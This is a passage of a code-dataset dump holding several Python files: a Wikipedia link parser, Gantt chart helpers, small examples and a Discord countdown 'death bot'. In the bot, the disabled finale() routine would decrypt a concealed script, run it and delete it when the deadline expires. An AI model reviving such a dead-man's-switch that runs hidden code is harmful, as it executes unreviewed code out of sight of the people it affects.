word_regexp.match(word):\n cleaned_link_words.append(word)\n cleaned_linktext = ' '.join(cleaned_link_words)\n if cleaned_linktext != \"\":\n target = link_library.link_dictionary[hashlib.md5(target_title.encode('utf-8')).hexdigest()]\n link_library.backlink_list_append((cleaned_linktext, target['id']))\n except KeyError:\n from parser import stats\n stats.add_skipped_link(target_title.lower())\n\n\ndef link_list_clear():\n \"\"\"\n Clears the link list.\n \"\"\"\n link_library.link_list.clear()\n\n\ndef backlink_list_clear():\n \"\"\"\n Clears the backlink list.\n \"\"\"\n link_library.backlink_list.clear()\n\n\ndef build_link_dictionary(path):\n \"\"\"\n Builds a {page-title-hash: {page ID, page title}} dictionary and dumps it as JSON.\n :param path: Path to the wiki dump XML.\n \"\"\"\n print(\"Building link dictionary...\")\n files = [path]\n for page_id, page_title, page_text, page_namespace, page_redirect in xml_dump.map(files, page_info):\n # Don't check for disambiguation in HTML comments\n is_disambig = disambig_regex.search(re.sub(\"()\", \"\", page_text))\n if page_namespace == 0 and not page_redirect and not is_disambig:\n link_library.link_dictionary_set(page_title, page_id)\n dict_dump_path = \"output/linkdictionaries/linkdictionary.json\"\n os.makedirs(os.path.dirname(dict_dump_path), exist_ok=True)\n json.dump(link_library.link_dictionary, open(dict_dump_path, 'w'))\n\n print(\"Found %s links.\" % len(link_library.link_dictionary))\n print(\"Successfully built link dictionary. Dumped dict as %s\" % dict_dump_path)\n\n\ndef read_link_dictionary(path):\n \"\"\"\n Reads the link dictionary {page-title-hash: {original_name, name, id}} from the corresponsing file. If it is not\n existing it tries to build it instead.\n :param path: Path to the wiki dump XML.\n \"\"\"\n dict_dump_path = \"output/linkdictionaries/linkdictionary.json\"\n if os.path.isfile(dict_dump_path):\n with open(dict_dump_path) as data_file:\n link_library.import_link_dictionary(data_file)\n print(\"Successfully read link dictionary. %s links found.\" % len(link_library.link_dictionary))\n else:\n print(\"%s does not exist. Building a new link dictionary...\" % dict_dump_path)\n build_link_dictionary(path)\n\n\ndef build_redirect_link_dictionary(path):\n \"\"\"\n Builds a dictionary of redirect links so in later steps these links can be dissolved.\n :param path: Path to the wiki dump XML.\n \"\"\"\n print(\"Building redirect link dictionary...\")\n files = [path]\n for page_id, page_title, page_text, page_namespace, page_redirect in xml_dump.map(files, page_info):\n if page_namespace == 0:\n if page_redirect:\n link_library.redirect_link_dictionary_set(page_title, page_redirect)\n dict_dump_path = \"output/linkdictionaries/redirects.json\"\n os.makedirs(os.path.dirname(dict_dump_path), exist_ok=True)\n json.dump(link_library.redirect_link_dictionary, open(dict_dump_path, 'w'))\n\n print(\"Found %s valid redirects.\" % len(link_library.redirect_link_dictionary))\n print(\"Successfully built redirect link dictionary. Dumped dict as %s\" % dict_dump_path)\n\n\ndef read_redirect_link_dictionary(path):\n \"\"\"\n Reads the redirect link dictionary from the corresponsing file. If it is not existing it tries to build it instead.\n :param path: Path to the wiki dump XML.\n \"\"\"\n dict_dump_path = \"output/linkdictionaries/redirects.json\"\n if os.path.isfile(dict_dump_path):\n with open(dict_dump_path) as data_file:\n link_library.import_redirect_link_dictionary(data_file)\n print(\"Successfully read redirect link dictionary. %s redirects found.\" % len(\n link_library.redirect_link_dictionary))\n else:\n print(\"%s does not exist. Building a new redirect link dictionary...\" % dict_dump_path)\n build_redirect_link_dictionary(path)\n", "sub_path": "wiki-phrase-parser/parser/linkparser.py", "file_name": "linkparser.py", "file_ext": "py", "file_size_in_byte": 8149, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "re.compile", "line_number": 14, "usage_type": "call"}, {"api_name": "parser.statistics.stats.increment_redirects", "line_number": 35, "usage_type": "call"}, {"api_name": "parser.statistics.stats", "line_number": 35, "usage_type": "name"}, {"api_name": "hashlib.md5", "line_number": 37, "usage_type": "call"}, {"api_name": "hashlib.md5", "line_number": 54, "usage_type": "call"}, {"api_name": "parser.textparser.clean_string", "line_number": 56, "usage_type": "call"}, {"api_name": "parser.textparser.word_regexp.match", "line_number": 59, "usage_type": "call"}, {"api_name": "parser.textparser.word_regexp", "line_number": 59, "usage_type": "name"}, {"api_name": "json.load", "line_number": 71, "usage_type": "call"}, {"api_name": "json.load", "line_number": 78, "usage_type": "call"}, {"api_name": "hashlib.md5", "line_number": 81, "usage_type": "call"}, {"api_name": "parser.stats.add_skipped_link", "line_number": 100, "usage_type": "call"}, {"api_name": "parser.stats", "line_number": 100, "usage_type": "name"}, {"api_name": "parser.textparser.clean_string", "line_number": 110, "usage_type": "call"}, {"api_name": "parser.textparser.word_regexp.match", "line_number": 114, "usage_type": "call"}, {"api_name": "parser.textparser.word_regexp", "line_number": 114, "usage_type": "name"}, {"api_name": "hashlib.md5", "line_number": 118, "usage_type": "call"}, {"api_name": "parser.stats.add_skipped_link", "line_number": 122, "usage_type": "call"}, {"api_name": "parser.stats", "line_number": 122, "usage_type": "name"}, {"api_name": "mw.xml_dump.map", "line_number": 146, "usage_type": "call"}, {"api_name": "parser.util.page_info", "line_number": 146, "usage_type": "argument"}, {"api_name": "mw.xml_dump", "line_number": 146, "usage_type": "name"}, {"api_name": "re.sub", "line_number": 148, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 152, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 152, "usage_type": "call"}, {"api_name": "os.path", "line_number": 152, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 153, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 166, "usage_type": "call"}, {"api_name": "os.path", "line_number": 166, "usage_type": "attribute"}, {"api_name": "mw.xml_dump.map", "line_number": 182, "usage_type": "call"}, {"api_name": "parser.util.page_info", "line_number": 182, "usage_type": "argument"}, {"api_name": "mw.xml_dump", "line_number": 182, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 187, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 187, "usage_type": "call"}, {"api_name": "os.path", "line_number": 187, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 188, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 200, "usage_type": "call"}, {"api_name": "os.path", "line_number": 200, "usage_type": "attribute"}]} +{"seq_id": "111385065", "text": "import re\nimport os\nimport time\nimport random\nimport base64\nimport asyncio\nimport getpass\nimport discord\nimport threading\nimport subprocess\nimport cryptography\nfrom discord.ext import tasks\nfrom datetime import timedelta\nfrom discord.ext import commands\nfrom cryptography.fernet import Fernet\nfrom timeit import default_timer as time_func\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC\n\n\ndef alg(password):\n salt = b'876543256777777'\n kdf = PBKDF2HMAC(\n algorithm=hashes.SHA3_256(),\n length=32,\n salt=salt,\n iterations=300000,\n backend=default_backend()\n )\n\n key = base64.urlsafe_b64encode(kdf.derive(password))\n f = Fernet(key)\n return f\n\n\nwhile 1 == 1:\n global password\n data = 'gAAAAABeGdB3_srHUTbNuRbiR1W3XSMqRoV16aQ9zpCPsc1q5cOUYlh1xIWKN4taGYryQcWqHKRXkd_F_ZM_B8lsQLMypQEpR9i-tFKF8OjkFDS3LzlKYpSySbQabV1gc6ZXesNsZRNQtc74Zq1R8vcqHp7Q-OYihw=='\n passwor = getpass.getpass('Input password:')\n data = data.encode('utf-8')\n password = passwor.encode('utf-8')\n f = alg(password)\n try:\n token = (f.decrypt(data)).decode('utf-8')\n except cryptography.fernet.InvalidToken:\n print(\"Invalid password, try again\")\n continue\n else:\n print(\"Password verified\")\n break\n\nbot = commands.Bot(command_prefix='.death ')\nbot.is_startup = True\n\n# on ready commands\n@bot.event\nasync def on_ready():\n if not bot.is_startup:\n return\n time.sleep(3)\n for i in bot.get_guild(646638903503224833).text_channels:\n if i.name == 'death':\n channel = i\n print(\"Death Bot is online again, Sir\")\n msg = \"Sup bitch, just came online ya'll\"\n await channel.send(msg)\n bot.timee = time_func()\n bot.failsafe = False\n bot.is_startup = False\n\n\n# the main countdown\ndef threadings():\n while bot.x > 0:\n bot.x -= 1\n time.sleep(1)\n if bot.x == 0:\n tmonitor.cancel()\n bot.failsafe = True\n del bot.x\n os.remove('temp/freezer.txt')\n finale()\n break\n\n\n# convert seconds into a string of days, hours, and minutes\ndef timematter(x):\n s = timedelta(seconds=x)\n if s.days < 1:\n if s.seconds <= 60*60:\n if s.seconds <= 60:\n out = f'{s.seconds}s'\n else:\n out = f'{s.seconds//60}m {s.seconds - (s.seconds//60)*60}s'\n else:\n out = f'{s.seconds//(60*60)}h {int(s.seconds/60 - (s.seconds//3600)*60)}m {s.seconds - (s.seconds//60)*60}s'\n else:\n out = f'{s.days}d {s.seconds//(60*60)}h {int(s.seconds/60 - (s.seconds//3600)*60)}m {s.seconds - (s.seconds//60)*60}s'\n return out\n\n\n# converts the rewrite and extend value+string to a sepetate list\ndef inmatter(x):\n match = re.match(r\"([0-9]+)([a-z]+)\", x, re.I)\n items = []\n if match:\n items = match.groups()\n items = list(items)\n items[0] = int(items[0])\n\n if items[1] == 'd':\n items[0] = items[0] * 86400\n elif items[1] == 'h':\n items[0] = items[0] * 3600\n elif items[1] == 'm':\n items[0] = items[0] * 60\n elif items[1] == 's':\n items[0] = items[0]\n else:\n raise ValueError\n return items\n\n# freezing the countdown in case of a seizure\n@tasks.loop(minutes=10, count=None)\nasync def freezer():\n try:\n bot.x\n except NameError:\n pass\n else:\n with open('temp/freezer.txt', 'w') as file:\n file.write(str(bot.x))\n\n\n# checking if the coundown is at a certain threshold\n@tasks.loop(seconds=1, count=None)\nasync def tmonitor():\n for i in bot.get_guild(646638903503224833).text_channels:\n if i.name == 'death':\n channel = i\n if bot.x == 259200:\n embed = discord.Embed(title=\"Notice\", colour=discord.Colour(0xDE0405), description=\"**You only have three days remaining**\")\n await channel.send(embed=embed) \n await channel.send('<@534321754517143553>')\n\n if bot.x == 86400:\n embed = discord.Embed(title=\"Notice\", colour=discord.Colour(0xDE0405), description=\"**You only have a day remaining. Consider rewriting or extending**\")\n await channel.send(embed=embed) \n await channel.send('<@534321754517143553>')\n \n if bot.x == 21600:\n embed = discord.Embed(title=\"Notice\", colour=discord.Colour(0xDE0405), description=\"**You only have 6h remaining. Consider rewriting or extending**\")\n await channel.send(embed=embed) \n await channel.send('<@534321754517143553>')\n\n if bot.x == 1800:\n embed = discord.Embed(title=\"Notice\", colour=discord.Colour(0xDE0405), description=\"**You only have 30m remaining. Consider rewriting or extending**\")\n await channel.send(embed=embed)\n await channel.send('<@534321754517143553>')\n \n if bot.x == 60:\n embed = discord.Embed(title=\"Notice\", colour=discord.Colour(0xDE0405), description=\"**You only have a minute remaining. Consider rewriting or extending**\")\n await channel.send(embed=embed)\n await channel.send('<@534321754517143553>')\n \n if bot.x == 2:\n embed = discord.Embed(title=\"Notice\", colour=discord.Colour(0x6B8CA6), description=\"**Deadline ended. Emergency Protocol activated**\")\n await channel.send(embed=embed)\n await channel.send('<@534321754517143553>')\n\n\n# custom help message\nbot.remove_command('help')\n@bot.command(name='help')\nasync def help(ctx):\n await ctx.send(\"**Fuck off mate**\")\n\n\n# starting the countdown\n@bot.command()\nasync def start(ctx):\n if ctx.author == bot.user or not(ctx.channel.name == 'death'):\n temp = await ctx.send('wrong channel')\n await temp.delete(delay=5)\n await ctx.message.delete(delay=5)\n return\n\n if bot.failsafe == False:\n try: \n bot.x\n except NameError:\n if os.path.exists('temp/freezer.txt'):\n with open('temp/freezer.txt', 'r') as file:\n bot.x = int(file.read())\n await ctx.channel.send(\"Deadline resumed\")\n else:\n bot.x = 120\n await ctx.channel.send(\"Deadline commenced\")\n\n if __name__ == \"__main__\":\n y = threading.Thread(target=threadings)\n y.start()\n \n tmonitor.start()\n freezer.start()\n else:\n await ctx.send(\"A deadline is already running\")\n else:\n await ctx.send(\"Failsafe activated\")\n\n\n# extending the countdown by a given amount\n@bot.command()\nasync def extend(ctx, value):\n if ctx.author == bot.user or not(ctx.channel.name == 'death'):\n temp = await ctx.send('wrong channel')\n await temp.delete(delay=5)\n await ctx.message.delete(delay=5)\n return\n\n if bot.failsafe == False:\n try:\n bot.x\n except NameError:\n await ctx.send(\"No deadlines active. Activate one before extending\")\n else:\n try:\n value = inmatter(value)\n except ValueError:\n await ctx.send(\"Syntax Error\")\n else:\n bot.x = int(bot.x + value[0])\n await ctx.send(\"Deadline now totals to {}\" .format(timematter(bot.x)))\n \n else:\n await ctx.send(\"Failsafe activated\")\n\n\n# restarting the countdown from a given amount\n@bot.command()\nasync def rewrite(ctx, value):\n if ctx.author == bot.user or not(ctx.channel.name == 'death'):\n temp = await ctx.send('wrong channel')\n await temp.delete(delay=5)\n await ctx.message.delete(delay=5)\n return\n\n if bot.failsafe == False:\n try:\n bot.x\n except NameError:\n await ctx.channel.send(\"No deadlines active. Activate one before rewriting\")\n else:\n try:\n value = inmatter(value)\n except ValueError:\n await ctx.send(\"Syntax Error\")\n else:\n if bot.x < value[0]:\n bot.x = value[0]\n await ctx.channel.send(\"Deadline now totals to {}\" .format(timematter(bot.x)))\n else:\n await ctx.send(\"Sorry you can't go backwards\")\n else:\n await ctx.send(\"Failsafe activated\")\n\n\n# give the stats of the bot and the countdown\n@bot.command()\nasync def stats(ctx):\n if ctx.author == bot.user or not(ctx.channel.name == 'death'):\n temp = await ctx.send('wrong channel')\n await temp.delete(delay=5)\n await ctx.message.delete(delay=5)\n return\n \n run_time = int(time_func() - bot.timee)\n \n try:\n embed = discord.Embed(title=\"Stats\", colour=discord.Colour(0xe6ddbc), description=\"**Deadline:** active\\n**Time-left:** {}\\n**Run-time:** {}\" .format(timematter(bot.x), timematter(run_time)))\n await ctx.send(embed=embed)\n except NameError:\n embed = discord.Embed(title=\"Stats\", colour=discord.Colour(0xe6ddbc), description=\"**Deadline:** inactive\\n**Time-left:** none\\n**Run-time:** {}\" .format(timematter(run_time)))\n await ctx.send(embed=embed)\n\n\n\n# kills/ finishes the deadline abruptly\n@bot.command()\nasync def suicide(ctx):\n if ctx.author == bot.user or not(ctx.channel.name == 'death'):\n temp = await ctx.send('wrong channel')\n await temp.delete(delay=5)\n await ctx.message.delete(delay=5)\n return\n\n if bot.failsafe == False:\n await ctx.send(\"Are you sure? (Y/N)\")\n\n def check(m):\n if m.content.lower() == 'n' and m.channel == ctx.channel and m.author == ctx.author:\n return True\n if m.content.lower() == 'y' and m.channel == ctx.channel and m.author == ctx.author:\n return True\n\n try:\n input = await bot.wait_for('message', check=check, timeout=60.0)\n\n except asyncio.exceptions.TimeoutError:\n ctx.send(\"Response timedout.\")\n return\n\n else:\n input = input.content\n if input == 'n':\n await ctx.send(\"Suicide protocol disengaged\")\n else:\n try:\n bot.x\n except NameError:\n await ctx.channel.send(\"Deadline terminated.\")\n else:\n bot.x = 0\n await ctx.channel.send(\"Deadline terminated.\")\n \n else:\n await ctx.send(\"Failsafe activated\")\n\n\n# the ending\ndef finale():\n # global password\n # f = alg(password)\n\n # with open('./temp/Ftgvb7on34tcw4t3445t4t94led5', 'w') as file:\n # data = file.read()\n\n # os.remove('./temp/Ftgvb7on34tcw4t3445t4t94led5')\n\n # out = (f.decrypt(data)).decode('utf-8')\n\n # with open('./temp/finale.py') as file:\n # file.write(out)\n \n # subprocess.call('./bash.sh')\n # os.remove('./temp/finale.py')\n\n # raise SystemExit\n pass\n\n\n\n\n\n# sends an error message when arguments are missing\n@bot.event\nasync def on_command_error(ctx, error):\n if isinstance(error, commands.MissingRequiredArgument):\n await ctx.send(\"Syntax error\")\n\n\n\nwhile True:\n\ttry:\n\t\tbot.loop.run_until_complete(bot.run(token))\n\texcept BaseException:\n\t\ttime.sleep(5)\n", "sub_path": "death/death-bot.py", "file_name": "death-bot.py", "file_ext": "py", "file_size_in_byte": 11327, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "cryptography.hazmat.primitives.kdf.pbkdf2.PBKDF2HMAC", "line_number": 24, "usage_type": "call"}, {"api_name": "cryptography.hazmat.primitives.hashes.SHA3_256", "line_number": 25, "usage_type": "call"}, {"api_name": "cryptography.hazmat.primitives.hashes", "line_number": 25, "usage_type": "name"}, {"api_name": "cryptography.hazmat.backends.default_backend", "line_number": 29, "usage_type": "call"}, {"api_name": "base64.urlsafe_b64encode", "line_number": 32, "usage_type": "call"}, {"api_name": "cryptography.fernet.Fernet", "line_number": 33, "usage_type": "call"}, {"api_name": "getpass.getpass", "line_number": 40, "usage_type": "call"}, {"api_name": "cryptography.fernet", "line_number": 46, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.Bot", "line_number": 53, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 53, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 61, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 68, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 77, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 82, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 89, "usage_type": "call"}, {"api_name": "re.match", "line_number": 105, "usage_type": "call"}, {"api_name": "re.I", "line_number": 105, "usage_type": "attribute"}, {"api_name": "discord.ext.tasks.loop", "line_number": 125, "usage_type": "call"}, {"api_name": "discord.ext.tasks", "line_number": 125, "usage_type": "name"}, {"api_name": "discord.Embed", "line_number": 143, "usage_type": "call"}, {"api_name": "discord.Colour", "line_number": 143, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 148, "usage_type": "call"}, {"api_name": "discord.Colour", "line_number": 148, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 153, "usage_type": "call"}, {"api_name": "discord.Colour", "line_number": 153, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 158, "usage_type": "call"}, {"api_name": "discord.Colour", "line_number": 158, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 163, "usage_type": "call"}, {"api_name": "discord.Colour", "line_number": 163, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 168, "usage_type": "call"}, {"api_name": "discord.Colour", "line_number": 168, "usage_type": "call"}, {"api_name": "discord.ext.tasks.loop", "line_number": 137, "usage_type": "call"}, {"api_name": "discord.ext.tasks", "line_number": 137, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 193, "usage_type": "call"}, {"api_name": "os.path", "line_number": 193, "usage_type": "attribute"}, {"api_name": "threading.Thread", "line_number": 202, "usage_type": "call"}, {"api_name": "timeit.default_timer", "line_number": 278, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 281, "usage_type": "call"}, {"api_name": "discord.Colour", "line_number": 281, "usage_type": "call"}, {"api_name": "discord.Embed", "line_number": 284, "usage_type": "call"}, {"api_name": "discord.Colour", "line_number": 284, "usage_type": "call"}, {"api_name": "asyncio.exceptions", "line_number": 310, "usage_type": "attribute"}, {"api_name": "discord.ext.commands.MissingRequiredArgument", "line_number": 359, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 359, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 368, "usage_type": "call"}]} +{"seq_id": "115306561", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Created by Z Lei on 16/11/2018.\nfrom collections import namedtuple\n\nSubscriber = namedtuple(\"Subscriber\", [\"addr\", \"joined\"])\n\nsub = Subscriber(\"jonesy@example.com\", '2012-10-19')\n\nprint(sub)\n\nprint(sub.addr)\n\nprint(sub.joined)\n\nStock = namedtuple('Stock', ['name', 'shares', 'price', 'date', 'time'])\n\nstock_prototype = Stock('', 0, 0.0, None, None)\n\n\ndef dict_to_stock(s):\n return stock_prototype._replace(**s)\n\n\n", "sub_path": "1.18.py", "file_name": "1.18.py", "file_ext": "py", "file_size_in_byte": 466, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "collections.namedtuple", "line_number": 6, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 16, "usage_type": "call"}]} +{"seq_id": "255987059", "text": "import re\nimport os\nimport json\n\nfrom ..utils import (\n nested_update,\n multi_get,\n microseconds_to_timestamp\n)\nfrom copy import deepcopy\n\n\nclass ItemFormatter:\n\n _INDEX_REGEX = r'(? 1:\r\n roundMax = 10**2\r\n maxBar = math.ceil(maxSamples/roundMax) * roundMax\r\n elif powerMin == 1:\r\n maxBar = math.ceil(maxSamples/10) * 10 \r\n \r\n if powerMin > 1:\r\n roundMin = 10**2\r\n minBar = math.floor(minSamples/roundMin) * roundMin\r\n elif powerMin == 1:\r\n minBar = math.floor(minSamples/10) * 10\r\n\r\n return (minBar, maxBar)\r\n\r\ndef getPlotColours(colMap,sampleNumbers,bottom,top):\r\n \"\"\" Return a list of colours based on relative\r\n position in colour map \"\"\"\r\n \r\n # Colour map is row 0 to end (light to dark)\r\n # Get difference between colour bar limits\r\n sampleDiff = top-bottom\r\n \r\n # Get relative positions of rows based on number of samples\r\n #(difference between sample number and lower limit) as proportion of\r\n # rows in colour map array\r\n sampleRows = ((sampleNumbers - bottom) / sampleDiff) * len(colMap)\r\n \r\n # round sample row down, take minimum of this and length of colour map array\r\n # Ensures a number between 0 and length of array\r\n sampleRows = [min(math.floor(x),len(colMap)-1) for x in sampleRows]\r\n \r\n # return RGB from row\r\n colours = [(colMap[x,0],colMap[x,1],colMap[x,2]) for x in sampleRows]\r\n return colours\r\n\r\n\r\ndef getPlotBars(y,start,end,colours,progress):\r\n \"\"\" Get all axes properties and return axes \"\"\"\r\n \r\n # Create figure and axes (colour bar 30th of width)\r\n fig, (ax,ax2) = plt.subplots(1,2,figsize=(12, 7.5), gridspec_kw = {'width_ratios':[3, 0.1]},sharey=False)\r\n\r\n # Create main bars for study start and end\r\n ax.barh(y, end - start, left=start, height=0.3, align='center',\r\n alpha=1,color=colours)\r\n \r\n # Create progress bar\r\n ax.barh(y+0.15, (end - start)*progress, left=start, height=-0.08, align='edge',\r\n alpha=1,color='darkorange',label='% Complete')\r\n\r\n return fig, ax, ax2\r\n\r\ndef getPlotProperties(ax,yLabelsPos,minDate=None,maxDate=None):\r\n \"\"\" Set axis properties for Gantt chart \"\"\"\r\n \r\n # Tight axis and legend\r\n ax.axis('tight')\r\n ax.legend()\r\n\r\n # Add grid in x-direction only\r\n ax.grid(color = 'darkgray', linestyle = ':')\r\n ax.yaxis.grid(False)\r\n\r\n # x axis as date\r\n ax.xaxis_date()\r\n ax.margins(x=0)\r\n \r\n \r\n # x-axis format\r\n myFmt = mpdt.DateFormatter(\"%b-%y\")\r\n ax.xaxis.set_major_formatter(myFmt)\r\n ax.xaxis.set_major_locator(mpdt.MonthLocator(interval=2))\r\n \r\n\r\n # x-axis tick marks \r\n labelsx = ax.get_xticklabels()\r\n plt.setp(labelsx, rotation=30, fontsize=10)\r\n \r\n # x-axis limits\r\n if minDate is None or maxDate is None: \r\n \r\n # Extend lower to start of month and upper to end of month\r\n # Default x axis\r\n xmin, xmax = setAutoDateRange(ax.get_xlim()) \r\n ax.set_xlim(xmin=xmin,xmax=xmax)\r\n \r\n elif minDate is not None and maxDate is not None:\r\n \r\n # Set the date range from user input\r\n # Get dates as floats\r\n xlims = [mpdt.datestr2num(minDate),mpdt.datestr2num(maxDate)]\r\n \r\n # Tidy up axis limits\r\n \r\n xmin, xmax = setAutoDateRange(xlims)\r\n ax.set_xlim(xmin=xmin,xmax=xmax)\r\n \r\n ## Set y ticks\r\n # Get unique values for y position and labels (from dictionary)\r\n ylabels = list(yLabelsPos.keys())\r\n ypos = list(yLabelsPos.values())\r\n ax.set_yticks(ypos)\r\n ax.set_yticklabels(ylabels)\r\n ax.tick_params(axis='y', labelsize=10)\r\n\r\n # Set y axis limits\r\n ymax = max(ypos)+0.5\r\n ax.set_ylim(ymin = -0.1, ymax = ymax)\r\n \r\n return ax\r\n\r\n\r\ndef getPlotColourBar(ax,colMap,minTick,maxTick):\r\n \"\"\" Create a custom colour bar to place in axis 2 \"\"\"\r\n \r\n # Create custom colour map\r\n cm = mpl.colors.ListedColormap(colMap)\r\n \r\n # Normalise to number of samples\r\n norm = mpl.colors.Normalize(vmin=minTick, vmax=maxTick)\r\n \r\n # Create colourbar\r\n cbar = mpl.colorbar.ColorbarBase(ax=ax, cmap=cm,norm=norm)\r\n \r\n ## Tick marks\r\n # 6 evenly spaced ticks\r\n tickSpace = (maxTick-minTick)/5\r\n \r\n # Because 6 labels but 5 spaces, add tickspace at the top\r\n tcks=arange(minTick,maxTick+tickSpace,tickSpace)\r\n cbar.set_ticks(tcks)\r\n cbar.set_label('No. Samples',fontsize=12,labelpad=-80)\r\n cbar.ax.set_yticklabels([str(a) for a in tcks],fontsize=11)\r\n\r\n return(cbar)\r\n# \r\ndef setAutoDateRange(xlimits):\r\n \"\"\" Pass ax_xlim and \r\n set range to start of first month and end of last month. \"\"\"\r\n \r\n # Get smallest start date and largest end date as float\r\n minDate = xlimits[0]\r\n maxDate = xlimits[1]\r\n \r\n # Return first of month\r\n minYear = int(mpdt.num2date(minDate).year)\r\n minMonth = int(mpdt.num2date(minDate).month)\r\n \r\n # x minimum\r\n xminDate = dt.datetime(minYear,minMonth,int(1))\r\n xminDate = mpdt.date2num(xminDate)\r\n \r\n # Get last day of month\r\n maxYear = int(mpdt.num2date(maxDate).year)\r\n maxMonth = int(mpdt.num2date(maxDate).month)\r\n lastDay = calendar.monthrange(maxYear,maxMonth)[1]\r\n \r\n # x max (add 1 to get last tick mark)\r\n xmaxDate = dt.datetime(maxYear,maxMonth,lastDay)\r\n xmaxDate = mpdt.date2num(xmaxDate)+1\r\n \r\n return (xminDate,xmaxDate)\r\n \r\n ", "sub_path": "src/main/python/gantt_functions.py", "file_name": "gantt_functions.py", "file_ext": "py", "file_size_in_byte": 8356, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "pandas.read_csv", "line_number": 17, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 29, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.dates.date2num", "line_number": 35, "usage_type": "call"}, {"api_name": "matplotlib.dates", "line_number": 35, "usage_type": "attribute"}, {"api_name": "pandas.to_datetime", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.dates.date2num", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.dates", "line_number": 50, "usage_type": "attribute"}, {"api_name": "pylab.arange", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 84, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 92, "usage_type": "call"}, {"api_name": "math.log10", "line_number": 92, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 93, "usage_type": "call"}, {"api_name": "math.log10", "line_number": 93, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 99, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 101, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 105, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 107, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 137, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 137, "usage_type": "name"}, {"api_name": "matplotlib.dates.DateFormatter", "line_number": 166, "usage_type": "call"}, {"api_name": "matplotlib.dates", "line_number": 166, "usage_type": "name"}, {"api_name": "matplotlib.dates.MonthLocator", "line_number": 168, "usage_type": "call"}, {"api_name": "matplotlib.dates", "line_number": 168, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.setp", "line_number": 173, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 173, "usage_type": "name"}, {"api_name": "matplotlib.dates.datestr2num", "line_number": 187, "usage_type": "call"}, {"api_name": "matplotlib.dates", "line_number": 187, "usage_type": "name"}, {"api_name": "matplotlib.colors.ListedColormap", "line_number": 213, "usage_type": "call"}, {"api_name": "matplotlib.colors", "line_number": 213, "usage_type": "attribute"}, {"api_name": "matplotlib.colors.Normalize", "line_number": 216, "usage_type": "call"}, {"api_name": "matplotlib.colors", "line_number": 216, "usage_type": "attribute"}, {"api_name": "matplotlib.colorbar.ColorbarBase", "line_number": 219, "usage_type": "call"}, {"api_name": "matplotlib.colorbar", "line_number": 219, "usage_type": "attribute"}, {"api_name": "pylab.arange", "line_number": 226, "usage_type": "call"}, {"api_name": "matplotlib.dates.num2date", "line_number": 242, "usage_type": "call"}, {"api_name": "matplotlib.dates", "line_number": 242, "usage_type": "name"}, {"api_name": "matplotlib.dates.num2date", "line_number": 243, "usage_type": "call"}, {"api_name": "matplotlib.dates", "line_number": 243, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 246, "usage_type": "call"}, {"api_name": "matplotlib.dates.date2num", "line_number": 247, "usage_type": "call"}, {"api_name": "matplotlib.dates", "line_number": 247, "usage_type": "name"}, {"api_name": "matplotlib.dates.num2date", "line_number": 250, "usage_type": "call"}, {"api_name": "matplotlib.dates", "line_number": 250, "usage_type": "name"}, {"api_name": "matplotlib.dates.num2date", "line_number": 251, "usage_type": "call"}, {"api_name": "matplotlib.dates", "line_number": 251, "usage_type": "name"}, {"api_name": "calendar.monthrange", "line_number": 252, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 255, "usage_type": "call"}, {"api_name": "matplotlib.dates.date2num", "line_number": 256, "usage_type": "call"}, {"api_name": "matplotlib.dates", "line_number": 256, "usage_type": "name"}]} +{"seq_id": "451097154", "text": "import unittest\nfrom ..models import Note, Tag\n\n\nclass ModelsTest(unittest.TestCase):\n def setUp(self):\n self.session = _init_testing_db()\n\n def tearDown(self):\n self.session.remove()\n\n 